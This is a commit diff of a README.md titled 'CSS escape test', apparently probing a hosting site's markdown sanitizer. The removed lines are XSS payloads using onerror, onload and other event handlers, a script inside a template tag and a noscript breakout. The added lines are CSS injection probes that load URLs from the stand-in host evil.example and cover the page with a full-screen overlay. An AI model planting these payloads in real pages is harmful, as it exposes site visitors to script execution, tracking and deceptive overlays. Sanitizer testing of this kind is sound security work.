css escape test
Browse files
README.md
CHANGED
|
@@ -1,35 +1,19 @@
|
|
| 1 |
-
#
|
| 2 |
-
|
| 3 |
-
<
|
| 4 |
-
|
| 5 |
-
|
| 6 |
-
|
| 7 |
-
|
| 8 |
-
|
| 9 |
-
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
|
| 13 |
-
<
|
| 14 |
-
|
| 15 |
-
<
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
|
| 19 |
-
<
|
| 20 |
-
|
| 21 |
-
<video src=x onerror=alert(52)></video>
|
| 22 |
-
<audio src=x onerror=alert(53)></audio>
|
| 23 |
-
|
| 24 |
-
<body onload=alert(54)>
|
| 25 |
-
<image src=x onerror=alert(55)>
|
| 26 |
-
|
| 27 |
-
<xss id=x tabindex=1 onactivate=alert(56)></xss>
|
| 28 |
-
<div onbeforeprint=alert(57)>beforeprint</div>
|
| 29 |
-
|
| 30 |
-
<img src=1 onerror=alert(58) onload=alert(59)//>
|
| 31 |
-
|
| 32 |
-
<!--><img src=x onerror=alert(60)>-->
|
| 33 |
-
|
| 34 |
-
<noscript><p title="</noscript><img src=x onerror=alert(61)>">
|
| 35 |
-
<template><script>alert(62)</script></template>
|
|
|
|
| 1 |
+
# CSS escape test
|
| 2 |
+
|
| 3 |
+
<style>
|
| 4 |
+
@import url('https://evil.example/importprobe');
|
| 5 |
+
@keyframes kxss { from { background: url('https://evil.example/keyframe'); } }
|
| 6 |
+
* { animation-name: kxss; }
|
| 7 |
+
body, html { background: url('https://evil.example/bodystar'); }
|
| 8 |
+
div { background: url('https://evil.example/divsel'); }
|
| 9 |
+
.hf-sanitized { background: url('https://evil.example/ownclass'); }
|
| 10 |
+
input[type="text"] { background: url('https://evil.example/inputsel'); }
|
| 11 |
+
a[href]::before { content: url('https://evil.example/attrsel'); }
|
| 12 |
+
#id1 { background: url('https://evil.example/idsel'); }
|
| 13 |
+
</style>
|
| 14 |
+
|
| 15 |
+
<style>
|
| 16 |
+
body{background:url('https://evil.example/starbody')}
|
| 17 |
+
</style>
|
| 18 |
+
|
| 19 |
+
<p style="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9999;background:url('https://evil.example/fixedoverlay')">overlay</p>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|